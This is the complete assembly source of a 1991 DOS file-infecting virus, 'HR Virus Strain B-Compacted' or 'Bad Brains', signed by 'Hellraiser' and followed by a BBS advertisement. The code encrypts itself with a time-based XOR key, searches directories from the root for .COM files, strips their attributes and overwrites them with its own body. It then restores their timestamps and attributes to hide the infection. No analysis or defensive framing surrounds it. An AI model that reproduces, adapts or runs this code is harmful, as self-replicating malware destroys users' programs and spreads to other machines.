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- ; HR Virus Strain B-Compacted
- ; Bad Brains
- ; Created 8/5/91 by Hellraiser
- ; Destructive Code - Beware!
- fileattr EQU 21
- filetime EQU 22
- filedate EQU 24
- filename EQU 30
- virus_size EQU 554
- code_start EQU 0100h
- code segment 'code'
- assume cs:code,ds:code,es:code
- org code_start
- main proc near
- jmp virus_start
- encrypt_val dw 0000h
- virus_start:
- call encrypt ;encrypt/decrypt file
- jmp virus ;go to start of code
- encrypt:
- push cx
- mov cx,offset virus_code+virus_size
- mov si,offset virus_code ;start encryption at data
- mov di,si
- cld
- xor_loop:
- lodsw
- xor ax,encrypt_val ;get encryption key
- stosw
- dec cx
- jcxz stoppa
- jmp xor_loop
- stoppa:
- pop cx
- ret
- infectfile:
- mov dx,code_start ;where virus starts in memory
- mov bx,handle ;load bx with handle
- mov cx,virus_size ;number of bytes to write
- call encrypt ;encrypt file
- mov ax,4000h ;write to file
- int 21h ;
- call encrypt ;fix up the mess
- ret
- virus_code:
- vname db 'SKISM',0
- wildcards db "*",0 ;search for directory argument
- filespec db "*.COM",0 ;search for EXE file argument
- rootdir db "\",0 ;argument for root directory
- dirdata db 43 dup (?) ;holds directory DTA
- filedata db 43 dup (?) ;holds files DTA
- diskdtaseg dw ? ;holds disk dta segment
- diskdtaofs dw ? ;holds disk dta offset
- tempofs dw ?
- tempseg dw ?
- drivecode db ? ;holds drive code
- currentdir db 64 dup (?) ;save current directory into this
- handle dw ? ;holds file handle
- orig_time dw ?
- orig_date dw ?
- orig_attr dw ?
- idbuffer dw 2 dup (?)
- virus:
- mov ax,3000h ;get dos version
- int 21h ;
- cmp al,02h ;is it at least 2.00?
- jb bus ;won't infect less than 3.00
- mov ah,2ch ;get time
- int 21h ;
- add dh,cl ;add the two registers
- mov encrypt_val,dx ;save m_seconds to encrypt val so
- ;we have up to 65,535 mutations
- setdta:
- mov dx,offset dirdata ;offset of where to hold new dta
- mov ah,1ah ;set dta address
- int 21h ;
- newdir:
- mov ah,19h ;get drive code
- int 21h ;
- mov dl,al ;save drivecode
- inc dl ;add one to dl, because functions differ
- mov ah,47h ;get current directory
- mov si, offset currentdir ;buffer to save directory in
- int 21h ;
- mov dx,offset rootdir ;move dx to change to root directory
- mov ah,3bh ;change directory to root
- int 21h ;
- scandirs:
- mov cx,13h ;look for directorys
- mov dx, offset wildcards ;look for '*'
- mov ah,4eh ;find first file
- int 21h ;
- cmp ax,12h ;no first file?
- jne dirloop ;no dirs found? bail out
- bus:
- jmp abort
- copyright db 'Bad Brains'
- dirloop:
- mov ah,4fh ;find next file
- int 21h ;
- cmp ax,12h
- je quit ;no more dirs found, roll out
- chdir:
- mov dx,offset dirdata+filename;point dx to fcb - filename
- mov ah,3bh ;change directory
- int 21h ;
- mov ah,2fh ;get current dta address
- int 21h ;
- mov [diskdtaseg],es ;save old segment
- mov [diskdtaofs],bx ;save old offset
- mov dx,offset filedata ;offset of where to hold new dta
- mov ah,1ah ;set dta address
- int 21h ;
- scandir:
- mov cx,07h ;find any attribute
- mov dx,offset filespec ;point dx to "*.EXE",0
- mov ah,4eh ;find first file function
- int 21h ;
- cmp ax,12h ;was file found?
- jne transform
- nextexe:
- mov ah,4fh ;find next file
- int 21h ;
- cmp ax,12h ;none found
- jne transform ;found see what we can do
- mov dx,offset rootdir ;move dx to change to root directory
- mov ah,3bh ;change directory to root
- int 21h ;
- mov ah,1ah ;set dta address
- mov ds,[diskdtaseg] ;restore old segment
- mov dx,[diskdtaofs] ;restore old offset
- int 21h ;
- jmp dirloop
- quit:
- jmp rollout
- transform:
- mov ah,2fh ;temporally store dta
- int 21h ;
- mov [tempseg],es ;save old segment
- mov [tempofs],bx ;save old offset
- mov dx, offset filedata + filename
- mov bx,offset filedata ;save file...
- mov ax,[bx]+filedate ;date
- mov orig_date,ax ;
- mov ax,[bx]+filetime ;time
- mov orig_time,ax ; and
- mov ax,[bx]+fileattr ;
- mov ax,4300h
- int 21h
- mov orig_attr,cx
- mov ax,4301h ;change attributes
- xor cx,cx ;clear attributes
- int 21h ;
- mov ax,3d00h ;open file - read
- int 21h ;
- jc fixup ;error - find another file
- mov handle,ax ;save handle
- mov ah,3fh ;read from file
- mov bx,handle ;move handle to bx
- mov cx,02h ;read 2 bytes
- mov dx,offset idbuffer ;save to buffer
- int 21h ;
- mov ah,3eh ;close file for now
- mov bx,handle ;load bx with handle
- int 21h ;
- mov bx, idbuffer ;fill bx with id string
- cmp bx,03ebh ;infected?
- jne doit ;same - find another file
- fixup:
- mov ah,1ah ;set dta address
- mov ds,[tempseg] ;restore old segment
- mov dx,[tempofs] ;restore old offset
- int 21h ;
- jmp nextexe
- doit:
- mov dx, offset filedata + filename
- mov ax,3d02h ;open file read/write access
- int 21h ;
- mov handle,ax ;save handle
- call infectfile
- ;mov ax,3eh ;close file
- ;int 21h
- rollout:
- mov ax,5701h ;restore original
- mov bx,handle ;
- mov cx,orig_time ;time and
- mov dx,orig_date ;date
- int 21h ;
- mov ax,4301h ;restore original attributes
- mov cx,orig_attr
- mov dx,offset filedata + filename
- int 21h
- ;mov bx,handle
- ;mov ax,3eh ;close file
- ;int 21h
- mov ah,3bh ;try to fix this
- mov dx,offset rootdir ;for speed
- int 21h ;
- mov ah,3bh ;change directory
- mov dx,offset currentdir ;back to original
- int 21h ;
- Abort:
- mov ax,4c00h ;end program
- int 21h ;
- main endp
- code ends
- end main
- ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
- ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
- ; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
- ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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